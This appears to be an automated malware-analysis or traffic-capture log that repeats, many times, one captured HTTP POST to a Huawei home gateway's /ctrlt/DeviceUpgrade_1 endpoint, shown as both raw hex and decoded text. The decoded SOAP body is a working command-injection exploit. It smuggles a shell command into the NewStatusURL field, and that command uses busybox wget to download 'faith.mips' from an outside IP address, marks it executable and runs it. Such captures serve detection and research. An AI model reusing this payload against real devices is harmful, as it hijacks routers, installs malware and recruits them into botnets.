3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
